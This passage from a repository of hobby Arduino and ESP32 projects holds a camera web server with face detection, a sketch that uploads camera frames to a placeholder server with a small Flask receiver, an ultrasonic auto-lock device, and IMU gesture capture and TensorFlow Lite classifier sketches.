(uint32_t)frame_time, 1000.0 / (uint32_t)frame_time, 442 | avg_frame_time, 1000.0 / avg_frame_time, 443 | (uint32_t)ready_time, (uint32_t)face_time, (uint32_t)recognize_time, (uint32_t)encode_time, (uint32_t)process_time, 444 | (detected)?"DETECTED ":"", face_id 445 | ); 446 | } 447 | 448 | last_frame = 0; 449 | return res; 450 | } 451 | 452 | static esp_err_t cmd_handler(httpd_req_t *req){ 453 | char* buf; 454 | size_t buf_len; 455 | char variable[32] = {0,}; 456 | char value[32] = {0,}; 457 | 458 | buf_len = httpd_req_get_url_query_len(req) + 1; 459 | if (buf_len > 1) { 460 | buf = (char*)malloc(buf_len); 461 | if(!buf){ 462 | httpd_resp_send_500(req); 463 | return ESP_FAIL; 464 | } 465 | if (httpd_req_get_url_query_str(req, buf, buf_len) == ESP_OK) { 466 | if (httpd_query_key_value(buf, "var", variable, sizeof(variable)) == ESP_OK && 467 | httpd_query_key_value(buf, "val", value, sizeof(value)) == ESP_OK) { 468 | } else { 469 | free(buf); 470 | httpd_resp_send_404(req); 471 | return ESP_FAIL; 472 | } 473 | } else { 474 | free(buf); 475 | httpd_resp_send_404(req); 476 | return ESP_FAIL; 477 | } 478 | free(buf); 479 | } else { 480 | httpd_resp_send_404(req); 481 | return ESP_FAIL; 482 | } 483 | 484 | int val = atoi(value); 485 | sensor_t * s = esp_camera_sensor_get(); 486 | int res = 0; 487 | 488 | if(!strcmp(variable, "framesize")) { 489 | if(s->pixformat == PIXFORMAT_JPEG) res = s->set_framesize(s, (framesize_t)val); 490 | } 491 | else if(!strcmp(variable, "quality")) res = s->set_quality(s, val); 492 | else if(!strcmp(variable, "contrast")) res = s->set_contrast(s, val); 493 | else if(!strcmp(variable, "brightness")) res = s->set_brightness(s, val); 494 | else if(!strcmp(variable, "saturation")) res = s->set_saturation(s, val); 495 | else if(!strcmp(variable, "gainceiling")) res = s->set_gainceiling(s, (gainceiling_t)val); 496 | else if(!strcmp(variable, "colorbar")) res = s->set_colorbar(s, val); 497 | else if(!strcmp(variable, "awb")) res = s->set_whitebal(s, val); 498 | else if(!strcmp(variable, "agc")) res = s->set_gain_ctrl(s, val); 499 | else if(!strcmp(variable, "aec")) res = s->set_exposure_ctrl(s, val); 500 | else if(!strcmp(variable, "hmirror")) res = s->set_hmirror(s, val); 501 | else if(!strcmp(variable, "vflip")) res = s->set_vflip(s, val); 502 | else if(!strcmp(variable, "awb_gain")) res = s->set_awb_gain(s, val); 503 | else if(!strcmp(variable, "agc_gain")) res = s->set_agc_gain(s, val); 504 | else if(!strcmp(variable, "aec_value")) res = s->set_aec_value(s, val); 505 | else if(!strcmp(variable, "aec2")) res = s->set_aec2(s, val); 506 | else if(!strcmp(variable, "dcw")) res = s->set_dcw(s, val); 507 | else if(!strcmp(variable, "bpc")) res = s->set_bpc(s, val); 508 | else if(!strcmp(variable, "wpc")) res = s->set_wpc(s, val); 509 | else if(!strcmp(variable, "raw_gma")) res = s->set_raw_gma(s, val); 510 | else if(!strcmp(variable, "lenc")) res = s->set_lenc(s, val); 511 | else if(!strcmp(variable, "special_effect")) res = s->set_special_effect(s, val); 512 | else if(!strcmp(variable, "wb_mode")) res = s->set_wb_mode(s, val); 513 | else if(!strcmp(variable, "ae_level")) res = s->set_ae_level(s, val); 514 | else if(!strcmp(variable, "face_detect")) { 515 | detection_enabled = val; 516 | if(!detection_enabled) { 517 | recognition_enabled = 0; 518 | } 519 | } 520 | else if(!strcmp(variable, "face_enroll")) is_enrolling = val; 521 | else if(!strcmp(variable, "face_recognize")) { 522 | recognition_enabled = val; 523 | if(recognition_enabled){ 524 | detection_enabled = val; 525 | } 526 | } 527 | else { 528 | res = -1; 529 | } 530 | 531 | if(res){ 532 | return httpd_resp_send_500(req); 533 | } 534 | 535 | httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*"); 536 | return httpd_resp_send(req, NULL, 0); 537 | } 538 | 539 | static esp_err_t status_handler(httpd_req_t *req){ 540 | static char json_response[1024]; 541 | 542 | sensor_t * s = esp_camera_sensor_get(); 543 | char * p = json_response; 544 | *p++ = '{'; 545 | 546 | p+=sprintf(p, "\"framesize\":%u,", s->status.framesize); 547 | p+=sprintf(p, "\"quality\":%u,", s->status.quality); 548 | p+=sprintf(p, "\"brightness\":%d,", s->status.brightness); 549 | p+=sprintf(p, "\"contrast\":%d,", s->status.contrast); 550 | p+=sprintf(p, "\"saturation\":%d,", s->status.saturation); 551 | p+=sprintf(p, "\"sharpness\":%d,", s->status.sharpness); 552 | p+=sprintf(p, "\"special_effect\":%u,", s->status.special_effect); 553 | p+=sprintf(p, "\"wb_mode\":%u,", s->status.wb_mode); 554 | p+=sprintf(p, "\"awb\":%u,", s->status.awb); 555 | p+=sprintf(p, "\"awb_gain\":%u,", s->status.awb_gain); 556 | p+=sprintf(p, "\"aec\":%u,", s->status.aec); 557 | p+=sprintf(p, "\"aec2\":%u,", s->status.aec2); 558 | p+=sprintf(p, "\"ae_level\":%d,", s->status.ae_level); 559 | p+=sprintf(p, "\"aec_value\":%u,", s->status.aec_value); 560 | p+=sprintf(p, "\"agc\":%u,", s->status.agc); 561 | p+=sprintf(p, "\"agc_gain\":%u,", s->status.agc_gain); 562 | p+=sprintf(p, "\"gainceiling\":%u,", s->status.gainceiling); 563 | p+=sprintf(p, "\"bpc\":%u,", s->status.bpc); 564 | p+=sprintf(p, "\"wpc\":%u,", s->status.wpc); 565 | p+=sprintf(p, "\"raw_gma\":%u,", s->status.raw_gma); 566 | p+=sprintf(p, "\"lenc\":%u,", s->status.lenc); 567 | p+=sprintf(p, "\"vflip\":%u,", s->status.vflip); 568 | p+=sprintf(p, "\"hmirror\":%u,", s->status.hmirror); 569 | p+=sprintf(p, "\"dcw\":%u,", s->status.dcw); 570 | p+=sprintf(p, "\"colorbar\":%u,", s->status.colorbar); 571 | p+=sprintf(p, "\"face_detect\":%u,", detection_enabled); 572 | p+=sprintf(p, "\"face_enroll\":%u,", is_enrolling); 573 | p+=sprintf(p, "\"face_recognize\":%u", recognition_enabled); 574 | *p++ = '}'; 575 | *p++ = 0; 576 | httpd_resp_set_type(req, "application/json"); 577 | httpd_resp_set_hdr(req, "Access-Control-Allow-Origin", "*"); 578 | return httpd_resp_send(req, json_response, strlen(json_response)); 579 | } 580 | 581 | static esp_err_t index_handler(httpd_req_t *req){ 582 | httpd_resp_set_type(req, "text/html"); 583 | httpd_resp_set_hdr(req, "Content-Encoding", "gzip"); 584 | sensor_t * s = esp_camera_sensor_get(); 585 | if (s->id.PID == OV3660_PID) { 586 | return httpd_resp_send(req, (const char *)index_ov3660_html_gz, index_ov3660_html_gz_len); 587 | } 588 | return httpd_resp_send(req, (const char *)index_ov2640_html_gz, index_ov2640_html_gz_len); 589 | } 590 | 591 | void startCameraServer(){ 592 | httpd_config_t config = HTTPD_DEFAULT_CONFIG(); 593 | 594 | httpd_uri_t index_uri = { 595 | .uri = "/", 596 | .method = HTTP_GET, 597 | .handler = index_handler, 598 | .user_ctx = NULL 599 | }; 600 | 601 | httpd_uri_t status_uri = { 602 | .uri = "/status", 603 | .method = HTTP_GET, 604 | .handler = status_handler, 605 | .user_ctx = NULL 606 | }; 607 | 608 | httpd_uri_t cmd_uri = { 609 | .uri = "/control", 610 | .method = HTTP_GET, 611 | .handler = cmd_handler, 612 | .user_ctx = NULL 613 | }; 614 | 615 | httpd_uri_t capture_uri = { 616 | .uri = "/capture", 617 | .method = HTTP_GET, 618 | .handler = capture_handler, 619 | .user_ctx = NULL 620 | }; 621 | 622 | httpd_uri_t stream_uri = { 623 | .uri = "/stream", 624 | .method = HTTP_GET, 625 | .handler = stream_handler, 626 | .user_ctx = NULL 627 | }; 628 | 629 | 630 | ra_filter_init(&ra_filter, 20); 631 | 632 | mtmn_config.type = FAST; 633 | mtmn_config.min_face = 80; 634 | mtmn_config.pyramid = 0.707; 635 | mtmn_config.pyramid_times = 4; 636 | mtmn_config.p_threshold.score = 0.6; 637 | mtmn_config.p_threshold.nms = 0.7; 638 | mtmn_config.p_threshold.candidate_number = 20; 639 | mtmn_config.r_threshold.score = 0.7; 640 | mtmn_config.r_threshold.nms = 0.7; 641 | mtmn_config.r_threshold.candidate_number = 10; 642 | mtmn_config.o_threshold.score = 0.7; 643 | mtmn_config.o_threshold.nms = 0.7; 644 | mtmn_config.o_threshold.candidate_number = 1; 645 | 646 | face_id_init(&id_list, FACE_ID_SAVE_NUMBER, ENROLL_CONFIRM_TIMES); 647 | 648 | Serial.printf("Starting web server on port: '%d'\n", config.server_port); 649 | if (httpd_start(&camera_httpd, &config) == ESP_OK) { 650 | httpd_register_uri_handler(camera_httpd, &index_uri); 651 | httpd_register_uri_handler(camera_httpd, &cmd_uri); 652 | httpd_register_uri_handler(camera_httpd, &status_uri); 653 | httpd_register_uri_handler(camera_httpd, &capture_uri); 654 | } 655 | 656 | config.server_port += 1; 657 | config.ctrl_port += 1; 658 | Serial.printf("Starting stream server on port: '%d'\n", config.server_port); 659 | if (httpd_start(&stream_httpd, &config) == ESP_OK) { 660 | httpd_register_uri_handler(stream_httpd, &stream_uri); 661 | } 662 | } 663 | -------------------------------------------------------------------------------- /projects/camera_web_upload/camera_pins.h: -------------------------------------------------------------------------------- 1 | 2 | #if defined(CAMERA_MODEL_WROVER_KIT) 3 | #define PWDN_GPIO_NUM -1 4 | #define RESET_GPIO_NUM -1 5 | #define XCLK_GPIO_NUM 21 6 | #define SIOD_GPIO_NUM 26 7 | #define SIOC_GPIO_NUM 27 8 | 9 | #define Y9_GPIO_NUM 35 10 | #define Y8_GPIO_NUM 34 11 | #define Y7_GPIO_NUM 39 12 | #define Y6_GPIO_NUM 36 13 | #define Y5_GPIO_NUM 19 14 | #define Y4_GPIO_NUM 18 15 | #define Y3_GPIO_NUM 5 16 | #define Y2_GPIO_NUM 4 17 | #define VSYNC_GPIO_NUM 25 18 | #define HREF_GPIO_NUM 23 19 | #define PCLK_GPIO_NUM 22 20 | 21 | #elif defined(CAMERA_MODEL_ESP_EYE) 22 | #define PWDN_GPIO_NUM -1 23 | #define RESET_GPIO_NUM -1 24 | #define XCLK_GPIO_NUM 4 25 | #define SIOD_GPIO_NUM 18 26 | #define SIOC_GPIO_NUM 23 27 | 28 | #define Y9_GPIO_NUM 36 29 | #define Y8_GPIO_NUM 37 30 | #define Y7_GPIO_NUM 38 31 | #define Y6_GPIO_NUM 39 32 | #define Y5_GPIO_NUM 35 33 | #define Y4_GPIO_NUM 14 34 | #define Y3_GPIO_NUM 13 35 | #define Y2_GPIO_NUM 34 36 | #define VSYNC_GPIO_NUM 5 37 | #define HREF_GPIO_NUM 27 38 | #define PCLK_GPIO_NUM 25 39 | 40 | #elif defined(CAMERA_MODEL_M5STACK_PSRAM) 41 | #define PWDN_GPIO_NUM -1 42 | #define RESET_GPIO_NUM 15 43 | #define XCLK_GPIO_NUM 27 44 | #define SIOD_GPIO_NUM 25 45 | #define SIOC_GPIO_NUM 23 46 | 47 | #define Y9_GPIO_NUM 19 48 | #define Y8_GPIO_NUM 36 49 | #define Y7_GPIO_NUM 18 50 | #define Y6_GPIO_NUM 39 51 | #define Y5_GPIO_NUM 5 52 | #define Y4_GPIO_NUM 34 53 | #define Y3_GPIO_NUM 35 54 | #define Y2_GPIO_NUM 32 55 | #define VSYNC_GPIO_NUM 22 56 | #define HREF_GPIO_NUM 26 57 | #define PCLK_GPIO_NUM 21 58 | 59 | #elif defined(CAMERA_MODEL_M5STACK_WIDE) 60 | #define PWDN_GPIO_NUM -1 61 | #define RESET_GPIO_NUM 15 62 | #define XCLK_GPIO_NUM 27 63 | #define SIOD_GPIO_NUM 22 64 | #define SIOC_GPIO_NUM 23 65 | 66 | #define Y9_GPIO_NUM 19 67 | #define Y8_GPIO_NUM 36 68 | #define Y7_GPIO_NUM 18 69 | #define Y6_GPIO_NUM 39 70 | #define Y5_GPIO_NUM 5 71 | #define Y4_GPIO_NUM 34 72 | #define Y3_GPIO_NUM 35 73 | #define Y2_GPIO_NUM 32 74 | #define VSYNC_GPIO_NUM 25 75 | #define HREF_GPIO_NUM 26 76 | #define PCLK_GPIO_NUM 21 77 | 78 | #elif defined(CAMERA_MODEL_AI_THINKER) 79 | #define PWDN_GPIO_NUM 32 80 | #define RESET_GPIO_NUM -1 81 | #define XCLK_GPIO_NUM 0 82 | #define SIOD_GPIO_NUM 26 83 | #define SIOC_GPIO_NUM 27 84 | 85 | #define Y9_GPIO_NUM 35 86 | #define Y8_GPIO_NUM 34 87 | #define Y7_GPIO_NUM 39 88 | #define Y6_GPIO_NUM 36 89 | #define Y5_GPIO_NUM 21 90 | #define Y4_GPIO_NUM 19 91 | #define Y3_GPIO_NUM 18 92 | #define Y2_GPIO_NUM 5 93 | #define VSYNC_GPIO_NUM 25 94 | #define HREF_GPIO_NUM 23 95 | #define PCLK_GPIO_NUM 22 96 | 97 | #else 98 | #error "Camera model not selected" 99 | #endif 100 | -------------------------------------------------------------------------------- /projects/camera_web_upload/camera_web_upload.ino: -------------------------------------------------------------------------------- 1 | #include "esp_camera.h" 2 | #include "esp_http_client.h" 3 | #include 4 | 5 | #define CAMERA_MODEL_AI_THINKER 6 | #define PICTURE_INTERVAL_MS 10000 7 | #include "camera_pins.h" 8 | 9 | const char* ssid = "wifi_network_name"; 10 | const char* password = "wifi_password"; 11 | const char* uploadUrl = "http://endpoint_url"; 12 | 13 | void startCameraServer(); 14 | 15 | esp_http_client_config_t httpConfig = { 16 | .url = uploadUrl, 17 | }; 18 | void setup() { 19 | Serial.begin(115200); 20 | Serial.println("begin setup"); 21 | delay(1000); 22 | camera_config_t config; 23 | config.ledc_channel = LEDC_CHANNEL_0; 24 | config.ledc_timer = LEDC_TIMER_0; 25 | config.pin_d0 = Y2_GPIO_NUM; 26 | config.pin_d1 = Y3_GPIO_NUM; 27 | config.pin_d2 = Y4_GPIO_NUM; 28 | config.pin_d3 = Y5_GPIO_NUM; 29 | config.pin_d4 = Y6_GPIO_NUM; 30 | config.pin_d5 = Y7_GPIO_NUM; 31 | config.pin_d6 = Y8_GPIO_NUM; 32 | config.pin_d7 = Y9_GPIO_NUM; 33 | config.pin_xclk = XCLK_GPIO_NUM; 34 | config.pin_pclk = PCLK_GPIO_NUM; 35 | config.pin_vsync = VSYNC_GPIO_NUM; 36 | config.pin_href = HREF_GPIO_NUM; 37 | config.pin_sscb_sda = SIOD_GPIO_NUM; 38 | config.pin_sscb_scl = SIOC_GPIO_NUM; 39 | config.pin_pwdn = PWDN_GPIO_NUM; 40 | config.pin_reset = RESET_GPIO_NUM; 41 | config.xclk_freq_hz = 20000000; 42 | config.pixel_format = PIXFORMAT_JPEG; 43 | //init with high specs to pre-allocate larger buffers 44 | if(psramFound()){ 45 | config.frame_size = FRAMESIZE_UXGA; 46 | config.jpeg_quality = 10; 47 | config.fb_count = 2; 48 | } else { 49 | config.frame_size = FRAMESIZE_SVGA; 50 | config.jpeg_quality = 12; 51 | config.fb_count = 1; 52 | } 53 | esp_err_t err = esp_camera_init(&config); 54 | if (err != ESP_OK) { 55 | Serial.printf("Camera init failed with error 0x%x", err); 56 | return; 57 | } 58 | 59 | sensor_t * s = esp_camera_sensor_get(); 60 | //initial sensors are flipped vertically and colors are a bit saturated 61 | if (s->id.PID == OV3660_PID) { 62 | s->set_vflip(s, 1);//flip it back 63 | s->set_brightness(s, 1);//up the blightness just a bit 64 | s->set_saturation(s, -2);//lower the saturation 65 | } 66 | //drop down frame size for higher initial frame rate 67 | s->set_framesize(s, FRAMESIZE_QVGA); 68 | 69 | WiFi.begin(ssid, password); 70 | 71 | while (WiFi.status() != WL_CONNECTED) { 72 | delay(500); 73 | Serial.print("."); 74 | } 75 | Serial.println(""); 76 | Serial.println("WiFi connected"); 77 | startCameraServer(); 78 | Serial.print("Camera Ready! Use 'http://"); 79 | Serial.print(WiFi.localIP()); 80 | } 81 | 82 | void loop() { 83 | delay(PICTURE_INTERVAL_MS); 84 | camera_fb_t *fb = NULL; 85 | esp_err_t res = ESP_OK; 86 | fb = esp_camera_fb_get(); 87 | if (!fb){ 88 | Serial.println("Camera capture failed"); 89 | esp_camera_fb_return(fb); 90 | return; 91 | } 92 | if (fb->format != PIXFORMAT_JPEG){ 93 | Serial.println("Non-JPEG data not implemented"); 94 | return; 95 | } 96 | upload(fb); 97 | 98 | esp_camera_fb_return(fb); 99 | } 100 | 101 | void upload(camera_fb_t *fb) { 102 | esp_http_client_handle_t httpClient = esp_http_client_init(&httpConfig); 103 | esp_http_client_set_post_field(httpClient, (const char *)fb->buf, fb->len); 104 | esp_http_client_set_method(httpClient, HTTP_METHOD_POST); 105 | esp_http_client_set_header(httpClient, "Content-type", "application/octet-stream"); 106 | esp_err_t clientError = esp_http_client_perform(httpClient); 107 | if (clientError == ESP_OK) 108 | Serial.println("Frame uploaded"); 109 | else 110 | Serial.printf("Failed to upload frame, error %d\r\n", clientError); 111 | 112 | esp_http_client_cleanup(httpClient); 113 | } 114 | -------------------------------------------------------------------------------- /projects/camera_web_upload/test.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, Response 2 | import numpy as np 3 | import cv2 4 | 5 | app = Flask(__name__) 6 | 7 | 8 | # route http posts to this method 9 | @app.route('/api/test', methods=['POST']) 10 | def test(): 11 | r = request 12 | # convert string of image data to uint8 13 | nparr = np.fromstring(r.data, np.uint8) 14 | # decode image 15 | img = cv2.imdecode(nparr, cv2.IMREAD_COLOR) 16 | cv2.imwrite("file_location.jpg", img) 17 | 18 | # build a response dict to send back to client 19 | response = {'message': 'image received. size={}x{}'.format(img.shape[1], img.shape[0])} 20 | print(response) 21 | 22 | return Response(response="ok", status=200, mimetype="application/json") 23 | 24 | 25 | app.run(host="0.0.0.0", port=5000) -------------------------------------------------------------------------------- /projects/computer_auto_lock/computer_auto_lock.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * Libraries used by this project: 3 | * 4 | * GOFi2cOLED: https://github.com/hramrach/GOFi2cOLED 5 | * Ultrasonic-HC-SR04: https://github.com/JRodrigoTech/Ultrasonic-HC-SR04 6 | */ 7 | #include "Keyboard.h" 8 | #include "Wire.h" 9 | #include "GOFi2cOLED.h" 10 | #include "Ultrasonic.h" 11 | 12 | 13 | GOFi2cOLED GOFoled; 14 | Ultrasonic ultrasonic(12,13); 15 | 16 | const byte distancePot = A0; 17 | const byte timerPot = A1; 18 | const float percentMaxDistanceChangedAllowed = 25; 19 | int actualDistance; 20 | unsigned long maxDistanceDetectionTime; 21 | bool lockTimerStarted = false; 22 | 23 | void setup() 24 | { 25 | Serial.begin(9600); 26 | Keyboard.begin(); 27 | initializeDisplay(); 28 | } 29 | 30 | void loop() 31 | { 32 | clearDisplay(); 33 | actualDistance = getActualDistance(); 34 | writeStatusData(); 35 | doDisplay(); 36 | if (!lockTimerStarted && shouldEnableLockTimer()) { 37 | lockTimerStarted = true; 38 | maxDistanceDetectionTime = millis(); 39 | Serial.println("lock timer begin"); 40 | } else if (!shouldEnableLockTimer()){ 41 | Serial.println("lock timer disabled"); 42 | lockTimerStarted = false; 43 | } 44 | if (shouldLockScreen()) { 45 | lockScreen(); 46 | Serial.println("Lock screen"); 47 | } 48 | delay(100); 49 | } 50 | 51 | bool shouldLockScreen() 52 | { 53 | return lockTimerStarted && (millis() - maxDistanceDetectionTime) / 1000 > getTimer(); 54 | } 55 | 56 | bool shouldEnableLockTimer() 57 | { 58 | int allowedDistance = percentMaxDistanceChangedAllowed / 100 * getDistance(); 59 | 60 | return getTimer() > 1 && getDistance() > 1 && actualDistance - getDistance() > allowedDistance; 61 | } 62 | 63 | void writeStatusData() 64 | { 65 | setDisplayText(1, "MinDistance:", String(getDistance())); 66 | setDisplayText(1, "Timer:", String(getTimer())); 67 | setDisplayText(1, "ActualDistance:", String(actualDistance)); 68 | int countDown = getTimer() - (millis() - maxDistanceDetectionTime) / 1000; 69 | String message = ""; 70 | if (shouldLockScreen()) { 71 | message = "lock sent"; 72 | } else if (shouldEnableLockTimer() && countDown >= 0) { 73 | message = ".." + String(countDown); 74 | } else { 75 | message = "no"; 76 | } 77 | setDisplayText(1, "Locking: ", message); 78 | } 79 | 80 | void initializeDisplay() 81 | { 82 | GOFoled.init(0x3C); 83 | GOFoled.clearDisplay(); 84 | GOFoled.setCursor(0, 0); 85 | } 86 | 87 | void setDisplayText(byte fontSize, String label, String data) 88 | { 89 | GOFoled.setTextSize(fontSize); 90 | GOFoled.println(label + ":" + data); 91 | } 92 | 93 | void doDisplay() 94 | { 95 | GOFoled.display(); 96 | } 97 | 98 | void clearDisplay() 99 | { 100 | GOFoled.clearDisplay(); 101 | GOFoled.setCursor(0, 0); 102 | } 103 | 104 | int getActualDistance() 105 | { 106 | int distanceSum = 0; 107 | for (byte i=0;i<10;i++) { 108 | distanceSum += ultrasonic.Ranging(CM); 109 | } 110 | 111 | return distanceSum / 10; 112 | } 113 | 114 | int getDistance() 115 | { 116 | return map(analogRead(timerPot), 0, 1024, 0, 200); 117 | } 118 | 119 | int getTimer() 120 | { 121 | return map(analogRead(distancePot), 0, 1024, 0, 20); 122 | } 123 | 124 | void lockScreen() 125 | { 126 | Serial.println("pressing"); 127 | Keyboard.press(KEY_LEFT_CTRL); 128 | delay(10); 129 | Keyboard.press(KEY_LEFT_ALT); 130 | delay(10); 131 | Keyboard.write('l'); 132 | delay(10); 133 | Keyboard.releaseAll(); 134 | } 135 | 136 | -------------------------------------------------------------------------------- /projects/computer_auto_lock/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/computer_auto_lock/sketch.fzz -------------------------------------------------------------------------------- /projects/computer_auto_lock/sketch_bb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/computer_auto_lock/sketch_bb.jpg -------------------------------------------------------------------------------- /projects/gesture_capture/gesture_capture.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * This example uses the on-board IMU to start reading acceleration and gyroscope 3 | * data from on-board IMU and prints it to the Serial Monitor for one second 4 | * when the significant motion is detected, it also logs the data to a SD card 5 | * Saves each gesture data to a SD card in a separate file "1.csv", "2.csv" etc 6 | * based on example from https://github.com/arduino/ArduinoTensorFlowLiteTutorials 7 | * To record the next gesture swipe right with your hand in front of the board, it uses 8 | * the on board gesture detector to detect GESTURE_RIGHT and to record in the next csv file 9 | * 10 | * PINOUT 11 | * 12 | * CARD READER 5V variant 13 | * MOSI - pin 11 14 | * MISO - pin 12 15 | * CLK - pin 13 16 | * CS - pin 4 17 | * GND - GND 18 | * VCC - VIN 19 | * 20 | * LED 21 | * D2 - pin through a 220ohms resistor 22 | * GND - GND 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | const float accelerationThreshold = 1.9; // threshold of significant in G's 31 | const int numSamples = 119; 32 | const int sdChipSelect = 4; 33 | const int ledPin = 2; 34 | 35 | int samplesRead = numSamples; 36 | int currentGesture; 37 | byte gestureNr = 1; 38 | byte fileNr = 1; 39 | byte printBufferCursor = 0; 40 | String printBuffer[9] = {}; 41 | File datafile; 42 | 43 | 44 | void setup() { 45 | Serial.begin(9600); 46 | while (!Serial); // comment this line when the device is not connected with the USB cable to the computer 47 | if (!IMU.begin()) { 48 | Serial.println("Failed to initialize IMU!"); 49 | while (1000); 50 | } 51 | if (!SD.begin(sdChipSelect)) { 52 | Serial.println("Card failed, or not present"); 53 | while (1000); 54 | } 55 | if (!APDS.begin()) { 56 | Serial.println("Error initializing APDS9960 sensor."); 57 | while (1000); // Stop forever 58 | } 59 | pinMode(ledPin, OUTPUT); 60 | //remove files on card 61 | for (byte i=0;i<=10;i++) { 62 | SD.remove(String(i) + ".csv"); 63 | } 64 | prepareNextFile(); 65 | } 66 | 67 | void loop() { 68 | float aX, aY, aZ, gX, gY, gZ; 69 | 70 | // wait for significant motion 71 | while (samplesRead == numSamples) { 72 | if (!IMU.accelerationAvailable()) { 73 | break; 74 | } 75 | IMU.readAcceleration(aX, aY, aZ); 76 | // sum up the absolutes 77 | float aSum = fabs(aX) + fabs(aY) + fabs(aZ); 78 | processGesture(); 79 | // if it's above the threshold reset the sample read count 80 | if (aSum >= accelerationThreshold) { 81 | samplesRead = 0; 82 | digitalWrite(ledPin, HIGH); 83 | break; 84 | } 85 | } 86 | 87 | // check if the all the required samples have been read since 88 | // the last time the significant motion was detected 89 | while (samplesRead < numSamples) { 90 | if (!(IMU.accelerationAvailable() && IMU.gyroscopeAvailable())) { 91 | break; 92 | } 93 | processGesture(); 94 | IMU.readAcceleration(aX, aY, aZ); 95 | IMU.readGyroscope(gX, gY, gZ); 96 | samplesRead++; 97 | print(String(aX, 3) + "," + String(aY, 3) + "," + String(aZ, 3) + "," + String(gX, 3) + "," + String(gY, 3) + "," + String(gZ, 3) + "\n"); 98 | if (samplesRead == numSamples) { // if nr of samplex is aquired print a newline and flush to sd card 99 | print("\n"); 100 | flushToSdCard(); 101 | gestureNr++; 102 | digitalWrite(ledPin, LOW); 103 | Serial.println("Waiting for gesture nr " + String(gestureNr)); 104 | } 105 | } 106 | } 107 | 108 | void print(String data) { 109 | Serial.print(data); 110 | printBuffer[printBufferCursor] += data; 111 | if (printBuffer[printBufferCursor].length() > 1000) { 112 | printBufferCursor++; 113 | } 114 | } 115 | 116 | void flushToSdCard() { 117 | for(byte i = 0;i<=printBufferCursor;i++) { 118 | datafile.print(printBuffer[i]); 119 | } 120 | for(byte i = 0;i<=printBufferCursor;i++) { 121 | printBuffer[i] = ""; 122 | } 123 | printBufferCursor = 0; 124 | } 125 | 126 | /** 127 | * If the file is open closes current datafile 128 | * create new file 1.csv then 2.csv etc 129 | * append CSV header to it 130 | */ 131 | void prepareNextFile() { 132 | Serial.println("Writng to file: " + String(fileNr) + ".csv"); 133 | if (datafile) { 134 | Serial.println("closing datafile"); 135 | datafile.close(); 136 | delay(100); 137 | } 138 | datafile = SD.open(String(fileNr) + ".csv", FILE_WRITE); 139 | delay(100); 140 | print("aX,aY,aZ,gX,gY,gZ\n"); 141 | fileNr++; 142 | gestureNr = 0; 143 | Serial.println("Waiting for gesture nr " + String(gestureNr)); 144 | } 145 | 146 | /** 147 | * Check if right gesture is available switch to the next file 148 | * also flashes the led two times 149 | */ 150 | void processGesture() { 151 | if (!APDS.gestureAvailable()) { 152 | return; 153 | } 154 | if (APDS.readGesture() == GESTURE_RIGHT) { 155 | digitalWrite(ledPin, HIGH); 156 | delay(150); 157 | digitalWrite(ledPin, LOW); 158 | delay(150); 159 | digitalWrite(ledPin, HIGH); 160 | delay(300); 161 | digitalWrite(ledPin, LOW); 162 | prepareNextFile(); 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /projects/gesture_classifier/gesture_classifier.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Detects gestures that wore previously trained with gesture_capture.ino 3 | * After an accelerationThreshold is reached, the sketch begin recording numSamples (119) 4 | * and then feeds in into TensorFlowLite to predict the gesture. 5 | * The LED is used to signal that the sketch is recording a gesture 6 | * If you want to use your own trained data, replace #include "digits_model.h" with your own, then replace const char* GESTURES[] 7 | * with your own trained gestures 8 | * 9 | * Arduino IDE vs: 1.8.12 10 | * 11 | * Libraries: 12 | * Arduino_LSM9DS1 (version 1.0.0) 13 | * TensorFlowLite (version 2.1.0 ALPHA precompiled) 14 | * ArduinoBLE (version 1.1.3) 15 | * 16 | * Board version in arduino IDE: 17 | * Arduino mbed-enabled board vs 1.1.6 (tested with this version, does not work with other versions) 18 | * 19 | * PINOUT 20 | * 21 | * LED 22 | * D2 - pin through a 220ohms resistor 23 | * GND - GND 24 | * 25 | * Trained models: 26 | * digits_model.h -> uses gestures 0,1,2,3,4 (draw it in the air) 27 | * remote1.mode.h -> uses gestures cw,ccw,fwd (clockwise, counter clockwise, forward in the air) 28 | */ 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | #include "remote1_model.h" 39 | 40 | const float accelerationThreshold = 1.9; // threshold of significant in G's 41 | const int numSamples = 119; 42 | const int ledPin = 2; 43 | 44 | int samplesRead = numSamples; 45 | 46 | // global variables used for TensorFlow Lite (Micro) 47 | tflite::MicroErrorReporter tflErrorReporter; 48 | tflite::AllOpsResolver tflOpsResolver; 49 | 50 | const tflite::Model* tflModel = nullptr; 51 | tflite::MicroInterpreter* tflInterpreter = nullptr; 52 | TfLiteTensor* tflInputTensor = nullptr; 53 | TfLiteTensor* tflOutputTensor = nullptr; 54 | constexpr int tensorArenaSize = 8 * 1024; 55 | byte tensorArena[tensorArenaSize]; 56 | 57 | BLEService gestureService("19B10000-E8F2-537E-4F6C-D104768A1214"); 58 | // BLE LED Switch Characteristic - custom 128-bit UUID, read 59 | BLEByteCharacteristic gestureCharacteristic("19B10001-E8F2-537E-4F6C-D104768A1214", BLERead | BLENotify); 60 | BLEDevice centralBLE; 61 | 62 | // array to map gesture index to a name 63 | const char* GESTURES[] = { 64 | "cw", "ccw", "fwd" 65 | }; 66 | 67 | #define NUM_GESTURES (sizeof(GESTURES) / sizeof(GESTURES[0])) 68 | 69 | 70 | void setup() { 71 | Serial.begin(9600); 72 | while (!Serial); // comment this line if you're running without the USB cable 73 | if (!IMU.begin()) { 74 | Serial.println("Failed to initialize IMU!"); 75 | while (1); 76 | } 77 | 78 | // print out the samples rates of the IMUs 79 | Serial.print("Accelerometer sample rate = "); 80 | Serial.print(IMU.accelerationSampleRate()); 81 | Serial.print("Gyroscope sample rate = "); 82 | Serial.print(IMU.gyroscopeSampleRate()); 83 | Serial.println(); 84 | 85 | // get the TFL representation of the model byte array 86 | tflModel = tflite::GetModel(model); 87 | if 